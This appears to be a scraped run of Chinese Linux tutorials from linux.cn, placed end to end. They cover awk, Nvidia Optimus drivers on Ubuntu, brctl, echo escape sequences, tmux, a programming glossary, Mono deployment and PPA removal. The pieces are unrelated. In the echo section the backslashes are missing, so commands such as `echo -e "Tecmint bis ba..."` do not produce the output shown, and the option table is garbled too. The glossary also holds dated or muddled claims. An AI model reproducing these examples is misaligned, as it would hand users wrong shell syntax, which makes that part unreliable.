Jul 23 18:57:12 httpd[31950]: “GET /foo/bar HTTP/1.1” 200 344

Jul 23 18:57:13 httpd[31950]: “GET / HTTP/1.1” 200 9300

Jul 23 19:01:27 httpd[31950]: “GET / HTTP/1.1” 200 9300

Jul 23 19:01:55 httpd[31950]: “GET /foo/baz HTTP/1.1” 200 6401

Jul 23 19:02:31 httpd[31950]: “GET /foo/baz?page=2 HTTP/1.1” 200 6312

我们知道最后一个字段是响应的字节大小。我们已经学习了如何使用$NF来抽取他们:

$ < requests.log awk '{print $NF}'

344

9300

9300

6401

6312

接着我们可以将它们累加到一个变量中来收集我们的web服务其在日志中这段时间内的响应客户端的字节数量

$ < requests.log awk '{totalBytes+=$NF} END {print totalBytes}'

31657

如果你正在寻找关于awk的更多资料,你可以在Amazon中花费不到15美元买到原始awk手册的二手书。你也许还可以看看Eric Pement的单行awk命令收集这本书。


via: http://xmodulo.com/2014/07/use-awk-command-linux.html

作者:James Pearson 译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3945-1.html

Linux:在Ubuntu上安装和配置Nvidia Optimus驱动

Nvidia Optimus是一款利用“双显卡切换”技术的混合GPU系统,但长期以来受限于Linux系统上的诸多不便与限制。在数年的等待之后,搭载这全新内核的Ubuntu 14.04最终实现了非常容易安装的专用驱动的兼容性。这篇文章首先为不熟悉Nvidia Optimus的读者简介相关背景,然后展示整个安装过程。对于对Xorg有着丰富配置经验的老手,可以直接跳到安装部分。

Linux:在Ubuntu上安装和配置Nvidia Optimus驱动
Linux:在Ubuntu上安装和配置Nvidia Optimus驱动

背景知识

对那些不熟悉Nvidia Optimus的读者,在板载Intel图形芯片组和使用被称为“GPU切换”、对需求有着更强大处理能力的NVIDA显卡这两者之间的进行切换是很有必要的。这么做的主要目的是延长笔记本电池的使用寿命,以便在不需要Nvidia GPU的时候将其关闭。带来的好处是显而易见的,比如说你只是想简单地打打字,笔记本电池可以撑8个小时;如果看高清视频,可能就只能撑3个小时了。使用Windows时经常如此。

Linux:在Ubuntu上安装和配置Nvidia Optimus驱动
Linux:在Ubuntu上安装和配置Nvidia Optimus驱动

几年前,我买了一台上网本(Asus VX6),犯的最蠢的一个错误就是没有检查Linux驱动兼容性。因为在以前,特别是对于一台上网本大小的设备,这根本不会是问题。即便某些驱动不是现成可用的,我也可以找到其它的办法让它正常工作,比如安装专门模块或者使用反向移植。对我来说这是第一次——我的电脑预先配备了Nvidia ION2图形显卡。

在那时候,Nvidia的Optimus混合GPU硬件还是相当新的产品,而我也没有预见到在这台机器上运行Linux会遇到什么限制。如果你读到了这里,恰好对Linux系统有经验,而且也在几年前买过一台笔记本,你可能对这种痛苦感同身受。

[Bumblebee][4]项目直到最近因为得到Linux系统对混合图形方面的支持才变得好起来。事实上,如果配置正确的话,通过命令行接口(如“optirun vlc”)让你选定的应用程序能利用Nvidia显卡功能是可行的,但让HDMI一类的功能运转起来就很不同了。(译者注:Bumblebee 项目是把Nvidia的Optimus技术移到Linux上来。)

我之所以使用“如果配置正确的话”这个短语,是因为实际上为了让它发挥出性能来往往不只是通过几次尝试去改变Xorg的配置就能做到的。如果你以前没有使用过ppa-purge或者运行过“dpkg-reconfigure -phigh xserver-xorg”这类命令,那么我可以向你保证修补Bumblebee的过程会让你受益匪浅。

Linux:在Ubuntu上安装和配置Nvidia Optimus驱动
Linux:在Ubuntu上安装和配置Nvidia Optimus驱动

在等待了很长一段时间后,Nvidia才发布了支持Optimus的Linux驱动,但我们仍然没有得到对双显卡切换的真正支持。然而,现在有了Ubuntu 14.04、nvidia-prime和nvidia-331驱动,任何人都可以在Intel芯片和Nvidia显卡之间轻松切换。不过不幸的是,为了使切换生效,还是会受限于需要重启X11视窗系统(通过注销登录实现)。

为了减轻这种不便,有一个小型程序用于快速切换,稍后我会给出。这个驱动程序的安装就此成为一件轻而易举的事了,HDMI也可以正常工作,这足以让我心满意足了。

安装Nvidia Optimus驱动

为了更快地描述这个过程,我假设你已经安装好Ubuntu 14.04或者Mint 17。

作为一名系统管理员,最近我发现90%的Linux操作通过命令行执行起来更快,但这次我推荐使用“Additional Drivers”这个应用程序,你可能使用它安装过网卡或声卡驱动。

Linux:在Ubuntu上安装和配置Nvidia Optimus驱动
Linux:在Ubuntu上安装和配置Nvidia Optimus驱动

注意:下面的所有命令都是在~#提示符下执行的,需要root权限执行。在运行命令前,要么使用“sudo su”(切换到root权限),要么在每条命令的开头使用sudo运行。

你也可以在命令行输入如下命令进行安装:

 ~# apt-get install nvidia-331 nvidia-settings nvidia-prime

接下来是重启。确保你没有安装类似于Bumblebee或其他已加载的Nvidia驱动,否则很可能会破坏你的X11。万一你没有进行全新安装,之前有安装过Bumblebee程序,那么在安装nvidia-331和nvidia-prime前运行下列命令:

 ~# apt-get purge libvdpau-va-gl1 bumblebee* nvidia*

在Nvidia和非Nvidia显卡之间切换

你可以通过按下Alt+F2或者从命令行键入下列命令实现Nvidia和非Nvidia(如Intel)显卡之间的切换:

~$ nvidia-settings

注意:~$表示不以root用户身份执行。

Linux:在Ubuntu上安装和配置Nvidia Optimus驱动
Linux:在Ubuntu上安装和配置Nvidia Optimus驱动

你也可以使用命令行设置默认使用哪一块显卡:

~# prime-select intel (或 nvidia)

使用这个命令进行切换:

~# prime-switch intel (或 nvidia)

两个命令的生效都需要重启X11,可以通过注销和重新登录实现。当然重启电脑也行。

对Ubuntu用户键入命令:

~# service lightdm restart

对Mint用户键入命令:

~# service mdm restart

键入这个命令确认哪一块显卡在运行:

~# prime-select query

最后,你可以通过添加ppa:nilarimogard/webupd8来安装叫做prime-indicator的程序包,实现通过工具栏快速切换来重启Xserver会话。要安装它,只需要运行:

~# add-apt-repository ppa:nilarimogard/webupd8
~# apt-get update
~# apt-get install mesa-utils prime-indicator

总结

总而言之,这个方法仍不完美,但至少它能简单易用地提供合适的专门驱动支持。很多人不会使用这个安装方法来设置Bumblebee,因为他们发现使用Nvidia驱动会很快耗完电池。对我个人的使用来说,这是一个更好的方法,因为我使用Nvidia只为了满足HDMI输出,这表示我必须把电脑插上电源才行。不然的话,Intel的显卡对我的笔记本来说够用了,因为除了频繁地使用Libreoffice、Chromium和Terminator这几个软件我别无所求。

如果你宁愿选择在默认情况下使用Intel显卡,为运行特定的应用程序使用Nvidia显卡,你应该去阅读那些Bumblebee教程。一旦你得以让Bumblebee正常工作起来,我建议你记录下用来配置电脑的命令和过程。因为没有什么比9个月之后再来一次全新安装但忘记了上次是如何成功安装更糟糕的事情了。

也可以花时间查看一下这个我偶然发现的脚本,用来方便地在Bumblebee和Nvidia-Prime之间进行切换,但我必须强调并没有亲自对此进行实验。

最后,我感到非常惭愧,写了这么多才得以为Linux上的显卡提供了专门支持,但仍然不能实现双显卡切换,因为混合图形技术似乎是便携式设备的未来。一般情况下,AMD会发布Linux平台上的驱动支持,但我认为Optimus是目前为止我遇到过的最糟糕的硬件支持问题。

不管这篇教程对你的使用是否完美,但这确实是利用这块Nvidia显卡最容易的方法。你可以试着在Intel显卡上只运行最新的Unity,然后考虑2到3个小时的电池寿命是否值得权衡。


via: http://xmodulo.com/2014/08/install-configure-nvidia-optimus-driver-ubuntu.html

作者:Christopher Ward 译者:KayGuoWhu 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3946-1.html

Linux:Linux有问必答:如何显示Linux网桥的MAC学习表

问题:我想要检查一下我用brctl工具创建的Linux网桥的MAC地址学习状态。请问,我要怎样才能查看Linux网桥的MAC学习表(或者转发表)?

Linux网桥是网桥的软件实现,这是Linux内核的内核部分。与硬件网桥相类似,Linux网桥维护了一个2层转发表(也称为MAC学习表,转发数据库,或者仅仅称为FDB),它跟踪记录了MAC地址与端口的对应关系。当一个网桥在端口N收到一个包时(源MAC地址为X),它在FDB中记录为MAC地址X可以从端口N到达。这样的话,以后当网桥需要转发一个包到地址X时,它就可以从FDB查询知道转发到哪里。构建一个FDB常常称之为“MAC学习”或仅仅称为“学习”过程。

Linux:Linux有问必答:如何显示Linux网桥的MAC学习表
Linux:Linux有问必答:如何显示Linux网桥的MAC学习表

你可以使用以下命令来检查Linux网桥当前转发表或MAC学习表。

$ sudo brctl showmacs 

该命令将显示一个学习到的MAC地址与关联端口的列表。各个条目都有一个相关的附于其上的老化计时器,因此转发条目可以在一定时间后刷新,以使MAC学习表更新到最新。


via: http://ask.xmodulo.com/show-mac-learning-table-linux-bridge.html

译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3947-1.html

Linux:Linux中的15个‘echo’ 命令实例

echo是一种最常用的与广泛使用的内置于Linux的bash和C shell的命令,通常用在脚本语言和批处理文件中来在标准输出或者文件中显示一行文本或者字符串。

Linux:Linux中的15个‘echo’ 命令实例
Linux:Linux中的15个‘echo’ 命令实例

 

echo命令的语法是:

echo [选项] [字符串]

1. 输入一行文本并显示在标准输出上

$ echo Tecmint is a community of Linux Nerds

会输出下面的文本:

Tecmint is a community of Linux Nerds

2. 输出一个声明的变量值

比如,声明变量x并给它赋值为10

 $ x=10

会输出它的值:

$ echo The value of variable x = $x
The value of variable x = 10

3. 使用‘b‘选项

-e‘后带上’b’会删除字符间的所有空格。

注意: Linux中的选项‘-e‘扮演了转义字符反斜线的翻译器。

$ echo -e "Tecmint bis ba bcommunity bof bLinux bNerds"
TecmintisacommunityofLinuxNerds

4. 使用‘n‘选项

-e‘后面的带上‘n’行会在遇到的地方作为新的一行

$ echo -e "Tecmint nis na ncommunity nof nLinux nNerds"
Tecmint
is
a
community
of
Linux
Nerds

5. 使用‘t‘选项

-e‘后面跟上‘t’会在空格间加上水平制表符。

$ echo -e "Tecmint tis ta tcommunity tof tLinux tNerds"
Tecmint     is  a   community   of  Linux   Nerds

6. 也可以同时使用换行‘n‘与水平制表符‘t

$ echo -e "ntTecmint ntis nta ntcommunity ntof ntLinux ntNerds"
    Tecmint
    is
    a
    community
    of
    Linux
    Nerds

7. 使用‘v‘选项

-e‘后面跟上‘v’会加上垂直制表符。

$ echo -e "vTecmint vis va vcommunity vof vLinux vNerds"
Tecmint
        is
           a
             community
                       of
                          Linux
                                Nerds

8. 也可以同时使用换行‘n‘与垂直制表符‘v

$ echo -e "nvTecmint nvis nva nvcommunity nvof nvLinux nvNerds"
Tecmint
is
a
community
of
Linux
Nerds

注意: 你可以按照你的需求连续使用两个或者多个垂直制表符,水平制表符与换行符。

9. 使用‘r‘选项

-e‘后面跟上‘r’来指定输出中的回车符。(LCTT 译注:会覆写行开头的字符)

$ echo -e "Tecmint ris a community of Linux Nerds"
is a community of Linux Nerds

10. 使用‘c‘选项

-e‘后面跟上‘c’会抑制输出后面的字符并且最后不会换新行。

$ echo -e "Tecmint is a community cof Linux Nerds"
Tecmint is a community @tecmint:~$

11.-n‘会在echo完后不会输出新行

$ echo -n "Tecmint is a community of Linux Nerds"
Tecmint is a community of Linux Nerds@tecmint:~/Documents$

12. 使用‘a‘选项

-e‘后面跟上‘a’选项会听到声音警告。

$ echo -e "Tecmint is a community of aLinux Nerds"
Tecmint is a community of Linux Nerds

注意: 在你开始前,请先检查你的音量设置。

13. 使用echo命令打印所有的文件和文件夹(ls命令的替代)

$ echo *
103.odt 103.pdf 104.odt 104.pdf 105.odt 105.pdf 106.odt 106.pdf 107.odt 107.pdf 108a.odt 108.odt 108.pdf 109.odt 109.pdf 110b.odt 110.odt 110.pdf 111.odt 111.pdf 112.odt 112.pdf 113.odt linux-headers-3.16.0-customkernel_1_amd64.deb linux-image-3.16.0-customkernel_1_amd64.deb network.jpeg

14. 打印制定的文件类型

比如,让我们假设你想要打印所有的‘.jpeg‘文件,使用下面的命令。

$ echo *.jpeg
network.jpeg

15. echo可以使用重定向符来输出到一个文件而不是标准输出

$ echo "Test Page" > testpage
## Check Content
avi@tecmint:~$ cat testpage
Test Page

echo 选项列表

选项 描述
-n 不输出末尾的换行符。
-e 启用反斜线转义。
b 退格
\ 反斜线
n 新行
r 回车
t 水平制表符
v 垂直制表符

就是这些了,不要忘记在下面留下你的反馈。


via: http://www.tecmint.com/echo-command-in-linux/

作者:Avishek Kumar 译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3948-1.html

Linux:如何使用Tmux提高终端环境下的效率

鼠标的发明是了不起的创新,它让电脑更加接近普通人。但从程序员和系统管理员的角度,使用电脑工作时,手一旦离开键盘,就会有些分心。

作为一名系统管理员,我大量的工作都需要在终端环境下。打开很多标签,然后在多个终端之间切换窗口会让我慢下来。尤其是当我的服务器出问题的时候,我不能浪费任何时间!

Linux:如何使用Tmux提高终端环境下的效率
Linux:如何使用Tmux提高终端环境下的效率

Tmux是我日常工作必要的工具之一。我可以借助Tmux构建出复杂的开发环境,同时还可以在一旁进行SSH远程连接。我可以开出很多窗口,将其拆分成很多面板,接管和分离会话等等。掌握了Tmux之后,你就可以扔掉鼠标了(只是个玩笑:D)。

Tmux(”Terminal Multiplexer”的简称)可以让我们在单个屏幕的灵活布局下开出很多终端,我们就可以协作地使用它们。举个例子,在一个面板中,我们用Vim修改一些配置文件,在另一个面板,我们使用irssi聊天,而在其余的面板,可以跟踪一些日志。然后,我们还可以打开新的窗口来升级系统,再开一个新窗口来进行服务器的ssh连接。在这些窗口面板间浏览切换和创建它们一样简单。它的高度可配置和可定制的,让其成为你心中的延伸

在Linux/OSX下安装Tmux

你可以通过编译软件源或者通过系统包管理器的方式安装,我建议使用包管理器,这样比编译更快更简单

OSX:

# sudo brew install tmux
# sudo port install tmux

Debian/Ubuntu:

# sudo apt-get install tmux

RHEL/CentOS/Fedora(RHEL/CentOS 要求 EPEL repo):

$ sudo yum install tmux

Archlinux:

$ sudo pacman -S tmux

使用不同会话工作

使用Tmux的最好方式是使用会话的方式,这样你就可以以你想要的方式,将任务和应用组织到不同的会话中。如果你想改变一个会话,会话里面的任何工作都无须停止或者杀掉。让我们来看看这是怎么工作的。

让我们开始一个叫做”session”的会话,并且运行top命令

$ tmux new -s new session
$ top

然后输入CTRL-b d从此会话脱离,想要重新连接此会话,需输入:

$ tmux attach-session -t session

之后你会看到top操作仍然运行在重新连接的会话上。

一些管理sessions的命令:

$ tmux list-session
$ tmux new-session <会话名>
$ tmux attach-session -t <会话名>
$ tmux rename-session -t <会话名>
$ tmux choose-session -t <会话名>
$ tmux kill-session -t <会话名>

使用不同的窗口工作

很多情况下,你需要在一个会话中运行多个命令,执行多个任务。我们可以在一个会话的多个窗口里组织他们。在现代的GUI终端(比如 iTerm或者Konsole),一个窗口被视为一个标签。在会话中配置了我们默认的环境之后,我们就能够在一个会话中创建许多我们需要的窗口。窗口就像运行在会话中的应用程序,当我们脱离当前会话的时候,它仍在持续,让我们来看一个例子:

$ tmux new -s my_session
Linux:如何使用Tmux提高终端环境下的效率
Linux:如何使用Tmux提高终端环境下的效率

按下CTRL-b c

这将会创建一个新的窗口,然后屏幕的光标移向它。现在你就可以在新窗口下运行你的新应用。你可以修改你当前窗口的名字。在目前的例子里,我运行的top程序,所以top就是该窗口的名字

如果你想要重命名,只需要按下:

CTRL-b

状态条将会改变,这时你将可以重命名当前的窗口

Linux:如何使用Tmux提高终端环境下的效率
Linux:如何使用Tmux提高终端环境下的效率

一旦在一个会话中创建多个窗口,我们需要在这些窗口间移动的办法。窗口像数组一样组织在一起,从0开始用数字标记每个窗口,想要快速跳转到其余窗口:

CTRL-b <窗口号>

如果我们给窗口起了名字,我们可以使用下面的命令找到它们:

CTRL-b f

也可以列出所有窗口:

CTRL-b w

按照顺序切换到不同的窗口:

CTRL-b n(到达下一个窗口) CTRL-b p(到达上一个窗口)

想要离开一个窗口,可以输入 exit 或者:

CTRL-b &

关闭窗口之前,你需要确认一下。

把窗口分成许多面板

有时候你在编辑器工作的同时,需要查看日志文件。在编辑的同时追踪日志真的很有帮助。Tmux可以让我们把窗口分成许多面板。举个例子,我们可以创建一个控制台监测我们的服务器,同时用编辑器构造复杂的开发环境,这样就能同时进行编译和调试了。

让我们创建另一个Tmux会话,让其以面板的方式工作。首先,如果我们在某个会话中,那就从Tmux会话中脱离出来:

CTRL-b d

开始一个叫做”panes”的新会话:

$ tmux new -s panes

你可以水平或者竖直分割一个窗口,水平分割输入:

CRTL-b “

现在你就拥有两个面板,现在我们竖直分割:

CRTL-b %

又增加了两个:

Linux:如何使用Tmux提高终端环境下的效率
Linux:如何使用Tmux提高终端环境下的效率

在他们之间移动:

CTRL-b <光标键>

结论

我希望这篇教程能对你有作用。此外,像Tmuxinator 或者 Tmuxifier这样的工具,可以简化Tmux会话,窗口和面板的创建及加载,你可以很容易就配置Tmux。如果你没有使用过这些,尝试一下吧!


via: http://xmodulo.com/2014/08/improve-productivity-terminal-environment-tmux.html

作者:Christopher Valerio 译者:su-kaiyao 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:http://xmodulo.com/2014/08/improve-productivity-terminal-environment-tmux.html

Linux:关于编程里的那些ABC

本文主要是一篇基础类整理文章,按照26个字母的排序,整理出一些在编程上比较重要的工具、框架、语言等等。

A – Angular.JS 如果被设计用来构建 Web 应用程序的话,那就和 HTML 没什么区别了。它是一款开源 JavaScript 函式库,由 Google 和它的社区来维护,用来协助单一页面应用程式运行的。它的目标是透过 MVC模式(Model-View-Controller)功能增强基于浏览器的应用,使开发和测试变得更容易。函式库读取包含附加自定义(标签属性)的 HTML,遵从这些自定义属性中的指令,并将页面中的输入或输出与由 JavaScript 变量表示的模型绑定起来。这些 JavaScript 变量的值可以手工设置,或者从静态或动态 JSON 资源中获取。

Angular.JS 是建立在这样的信念上的:即声明式编程应该用于构建用户界面以及编写软件构建,而指令式编程非常适合来表示业务逻辑。Angular.JS 最引人注目的特征就是它的双向数据绑定功能,这样可以大大减少你在必要代码上的编写数量,Coder Factory 最先向澳大利亚提供 Angular.JS课程。

B – Booststrap 是一个用于响应式前端开发的框架,最主要是应用在移动 Web App 上面。它由Twitter 的设计师 Mark Otto 和 Jacob Thornton 合作开发,是一个 CSS/HTML 框架。Bootstrap 提供了优雅的 HTML 和 CSS 规范,它即是由动态 CSS 语言 Less 写成。Bootstrap 一经推出后颇受欢迎,一直是 GitHub 上的热门开源项目,包括 NASA 的 MSNBC(微软全国广播公司)的 Breaking News 都使用了该项目。

Bootstrap 是基于 jQuery 框架开发的,它在 jQuery 框架的基础上进行了更为个性化和人性化的完善,形成一套自己独有的网站风格,并兼容大部分 jQuery 插件。

C – CSS 是 Cascading Style Sheet 的缩写,中文名称是层叠样式表,又称串样式列表、层次结构式样式表文件,一种用来为结构化文档(如 HTML 文档或XML 应用)添加样式(字体、间距和颜色等)的计算机语言,由 W3C 定义和维护。目前最新版本是CSS2.1,为 W3C 的推荐标准。CSS3 现在已被大部分现代浏览器支持,而下一版的 CSS4 仍在开发过程中。

CSS 最重要的目标是将文件的内容与它的显示分隔开来。在 CSS 出现前,几乎所有的 HTML 文件内都包含文件显示的信息,比如字体的颜色、背景应该是怎样的、如何排列、边缘、连线等等都必须一一在 HTML 文件内列出,有时重复列出。CSS 使作者可以将这些信息中的大部分隔离出来,简化HTML 文件,这些信息被放在一个辅助的,用 CSS 语言写的文件中。HTML 文件中只包含结构和内容的信息,CSS 文件中只包含样式的信息。

D – DRY 是 Don’t repeat yourself 的简称,一个规则,实现一次(one rule, one place)是面向对象编程中的基本原则,程序员的行事准则。旨在软件开发中,减少重复的信息。

DRY 的原则是──系统中的每一部分,都必须有一个单一的、明确的、权威的代表──指的是(由人编写而非机器生成的)代码和测试所构成的系统,必须能够表达所应表达的内容,但是不能含有任何重复代码。当 DRY 原则被成功应用时,一个系统中任何单个元素的修改都不需要与其逻辑无关的其他元素发生改变。此外,与之逻辑上相关的其他元素的变化均为可预见的、均匀的,并如此保持同步。违反 DRY 原则的解决方案通常被称为 WET,指代“Write everything twice”。

E – Elegant 每一个代码都应该是优雅、简洁的。其实编写程序的过程就像是一种艺术,也许有些人会问你:“如果可以编写有效代码的话,为什么还要编写优雅代码呢?”然而,我们认为提供优雅代码的标准首先这个目的就是比较好的,因为它会带领程序员编写出更加简明的、可维护的代码。

你应该永远记住:读代码比写代码更重要。我猜你不想让你的同事花整个周末的时间来搞懂你的代码到底是什么意思吧!所以多花一点时间让代码更漂亮!

F – Flash 是由 Adobe 开发出来的用于创建动画视频、图形和互联网应用程序的。就像你刚从一个粗略的网站上看到的一部电影一样,都是通过 Adobe Flash 播放器播放的。尽管有很指责说 Flash 很耗资源且不安全,但是绝大多数网站上一直在使用它。

或许你已经听说了 Steve Jobs 拒绝将 Flash 用在苹果设备上,如果真的有所说的那样的缺点,或许只是 Steve Jobs 和 Flash 之间的个人恩怨,那样我们可能永远不会发现 Flash 的伟大之处。即使 HTML5 被预测为 Flash 的即将继承者,但是 Flash 仍然值得我们多看它几眼。

G – GitHub 是每一位编码人员的最好的朋友。拥有超过 1150万 个仓库的 GitHub 是这个世界上最大的代码托管网站。GitHub 包含社交网络功能允许开发人员将他们的项目整合到一起,这样一来的话就能在对开源软件以及私人项目的维护产生重大意义。

GitHub 提供免费和付费计划,只需选择你所需要的东西。有趣的是:GitHub 是建立在 Ruby on Rails 基础上的,Coder Factory 可以教你框架。

H – Hydra code 是一段不能修复的代码,就像古希腊怪物每个脖子上都生出两个头,最后都被 Hercules 砍掉了。代码有的时候就像这个一样,即使你修复了一个bug之后,又会出现很多个bug,所以,除了重写整个代码以外,你别无选择。

I – Graphic User Interface 图形用户界面,这是一种自我解释。图形用户界面估计是你看到最多的也是互动最多的一部分。第一个 GUI 是在 Stanford Research Institute 发明的,后继开发是由 Xerox PARC 施行的。在参观完 Xerox 之后,Steve Jobs 首次将GUI技术用在了 Apple Lisa 和 Macintosh 上面,在当时来说这是一次革命创举。

Bill Gates 发布 Windows GUI 之后,看看下面这段有趣的对话,Steve:“你偷了我们的技术!”Bill 回应:“我想我们两个都有一个叫做 Xerox 的非常富有的邻居,但是当我跑到他的房间里想要偷走电视机的时候,我发现你已经把电视机偷走了。”哈哈哈

来源:http://code.csdn.net/news/2821823

Linux:到底应该选择哪种Linux.NET的部署方式?

当前部署Linux.NET环境的方式可谓是五花八门,既有传统的源码编译的方式、又有各式各样的一键安装脚本、还有绿色包安装方式,而随着Mono官方的新站上线,更增加了采用RPM包的部署方式。那对于一名Linux.NET的初学者来说,我们又该如何选择?下面,本文将对这几种的安装方式进行优缺点的比较,从而协助各位读者选择出最佳的部署方式。

Linux:到底应该选择哪种Linux.NET的部署方式?
Linux:到底应该选择哪种Linux.NET的部署方式?

本文中,我们将对下列的部署方式展开讨论:

1、源码编译

2、一键安装脚本

3、RPM包

4、绿色包 

一、源码编译

通过源代码编译安装部署Linux.NET可谓是最传统并且最原始可靠的方式,通过获取源代码,并在物理机(虚拟机)中进行编译,编译器能够有针对性的给机器编译出最适合改机器运行的二进制执行文件。同时,通过源代码编译的方式也是所有部署方式中最稳定靠谱的方式。同时,采用源码编译的方式部署也是最灵活的。要想深入学习的读者必须要掌握此方式部署。

想要通过源码编译的方式安装部署Linux.NET,我们需要事先Get到一份源代码,目前获得Mono源代码的方式主要分为两种,一种是通过GitHub将Mono的托管代码Pull下来执行autogen再执行make install的方式进行编译安装部署,另外一种则是通过Mono/Source所发行的源码包(tar.gz或者tar.bz2包)进行./Configuration再执行make install的方式编译。

事实上,如果读者们采用前者(也就是Git Pull的方式)来编译部署环境,所获取到的版本一般都会比从Mono/Source中发行的版本高(当然在能够编译的情况下),对希望能够尽快使用最高版本或者想尝鲜的读者,使用这种方式不失为一个好选择。但选择这个方式也有一定的缺点,那就是我们在编译之前需要先进行Git Clone或者Git Pull代码,这将使我们可能面临上G的Git代码仓库需要下载,同时由于Mono中的external目录下又包含了其他.NET项目的GIT仓库,执行autogen时,系统会检查包括external目录的代码是否完整,因此编译时系统也有可能再次的执行Git Pull拉去相关代码。另外还有一点,在我们进行Git Pull Master之后,我们也未必可以编译通过。所幸的是,文章发布之后,LexLi给予了一些提醒,通过他的思路,我们发现了其实GitHub/Mono的Readmd中是有一盏当前代码是否能够编译的“提示灯”,通过观察此“灯”所显示的颜色我们就可以知道当前的代码是否可以编译,另外在这里也有一个版本编译测试历史记录,我们也可以根据它的编译测试记录获知那一个提交版本的的源码是可以编译,然后只需把代码ReSet到此版本即可再次进行编译。

而采用Mono/Source所发行的源码包编译的读者,可靠性则大幅度提高,毕竟这个是Release版本。虽然当中有个别的发行包因为文件缺失无法编译,但是总得来说还是最可靠的,并且源码包发行版大小一般都在百兆以内,相比于Git仓库的上G代码可谓是小巧得多。

最后,各位读者无论是采用以上两种方式中的那种,都需要花费一段或漫长或短暂的编译等待时间,并且编译时可能会遇到一些Make Error的现象,这都需要各位读者自己进行克服处理。但无论怎么样,这还是对想深入学习Linux.NET的读者要求必须掌握的部署方式。(有需要的读者可以参详《Linux.NET学习手记》

二、一键安装脚本

由于采用源码编译方式都是直接采用Shell命令来操作,因此有不少的人士将这些Shell命令提取出来重新组装成一个Shell脚本,只要执行该脚本即可完成环境的部署,其中更有爱好者别出心裁,在命令行的基础上加以改进,提供类似“界面”之流的方式,给予了较好的与用户的交互。采用脚本式部署环境是解放生产力的标志。

但即便如此,采用脚本安装的方式仍然存在着相当的不足,那便是采用脚本安装其实只是一个“礼盒”,“礼盒”里面的内容依然是源代码编译方式,因此,采用脚本安装所遇到的问题不会比采用源码安装的少。同时,采用脚本安装仍然存在这“兼容性”的问题,这里值得注意,所谓的“兼容性”并不是指脚本的命令行不通用,而是由源码编译所“继承”下来的“不兼容”,也就是环境的复杂性造成不同的Make Error所带来的“不兼容”。此外,由于每个人都有自己的安装风格,有的人可能喜欢将东西安装在“/usr”中(像宇内、善友的教程等),有人喜欢安装到“/usr/local/”中(我的风格,《Linux.NET学习手记》的教程路径),也有人喜欢安装到“/opt”中……总而言之,脚本中所编写的安装路径纯属由撰写者决定,安装目录可能并不是各位读者所希望的路径,这点也有一定的不足。

三、RPM包

伴随着Mono新版官网的上线,依赖于Yum的RPM安装方式也悄悄的出现在各位读者的视野,一段时间以来,不少朋友开始或是为了尝鲜(没办法,体验到Yum的甜头之后恐怕很难回头了)或是收到“官方”的指引纷纷采用了此种办法部署Linux.NET环境。

我没有尝试过这种方式(懒得自己添加镜像源),不过从不少朋友反(bao)馈(yuan)回(ma)来(niang)的信息来看,这种方式似乎是几种方法中最残(zi)念(sha)的了。由于RPM包隶属于二进制包的一种,安装路径已经在包中预配置,无法更改,我们也无法获知它到底安装到哪里(只能find了),从一些通过此方式安装的朋友所提供的资料来看,基本上会安装到“/opt”目录中(不过没有具体目录,有“/opt/”、“/opt/mono”甚至“/opt/201408xx/”目录)。此外,采用RPM包方式安装还有一项非常严重的问题,那就是采用此种方式安装竟然没有向环境变量注册Mono/bin路径,导致系统无法找到mono。

因此,我个人尤其不推荐此中安装方式。

四、绿色包(jws.mono)

以上三种方式都有一个共同的特点,那就是都需要在有网络条件的情况下进行。而绿色包与前者不同,绿色包是从使用源码编译好的机器中进行抽取重组并进行适当的修改变成新的解压即可运行的绿色版的Linux.NET运行环境。

使用绿色包具有以下的几项优点:

(1)、快速部署,由于采用此方式部署仅仅需要执行一条解压命令(有需要的可自行注册环境变量),没有编译过程,大大节省了因为环境部署所需要消耗的宝贵时间。

(2)、针对性强:由于每一款的绿色包都是针对其标注的Linux发行版进行编译,因此绿色包具有比较强的发行版针对性。

(3)、精致而不失功能:使用过绿色包的读者可能会发现,它的打包文件大小甚至会比Mono/Source所发行的源码包还会小,但功能却又没有减少。这个秘密就在于Mono与MS.NET不同,Mono的库是向下兼容的,因此,在每款的绿色包中,我们都会对“重复”的库进行剔除,让包变得足够精致。

但金无足赤,绿色包同样也面临一些问题,第一就是它无法升级(这项即将得到改善,在下个发行包中提供可用于升级的脚本),第二就是制作发行包是一项工作量大且耗时的活。我们需要对应编译并制作相应发行版的包。

不过对于初学者和需要快速部署、大规模部署的读者来说,绿色包还是最佳选择,因为它足够容易,因为它足够快。 

当然了,仁者见仁智者见智,以上观点乃我利用Linux.NET编译的时间写出的(已经失败了差不多十次)的主观观点和建议,不喜勿弹哈,谢谢。

来源:http://jhonge.net/Home/Single/14821254

Linux:Linux有问必答:Ubuntu如何使用命令行移除PPA仓库

问题: 前段时间,我的Ubuntu增加了一个第三方的PPA仓库,如何才能移除这个PPA仓库呢?

个人软件包档案(PPA)是Ubuntu独有的解决方案,允许独立开发者和贡献者构建、贡献任何定制的软件包来作为通过启动面板的第三方APT仓库。如果你是Ubuntu用户,有可能你已经增加一些流行的第三方PPA仓库到你的Ubuntu系统。如果你需要删除掉已经预先配置好的PPA仓库,下面将教你怎么做。

假如你想增加一个叫“ppa:webapps/preview”第三方PPA仓库到你的系统中,如下:

$ sudo add-apt-repository ppa:webapps/preview

如果你想要 单独地删除某个PPA仓库,运行下面的命令:

 $ sudo add-apt-repository --remove ppa:someppa/ppa

注意,上述命令不会同时删除任何已经安装或更新的软件包。

如果你想要 完整的删除一个PPA仓库并包括来自这个PPA安装或更新过的软件包,你需要ppa-purge命令。

首先要安装ppa-purge软件包:

$ sudo apt-get install ppa-purge

然后使用如下命令删除PPA仓库和与之相关的软件包:

$ sudo ppa-purge ppa:webapps/preview

特别滴,在发行版更新后,当你分辨和清除已损坏的PPA仓库时这个方法特别有用!


via: http://ask.xmodulo.com/how-to-remove-ppa-repository-from-command-line-on-ubuntu.html

译者:Vic___ 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3958-1.html

Linux:在 CentOS 和 RHEL 上安装 Puppet 服务器和客户端

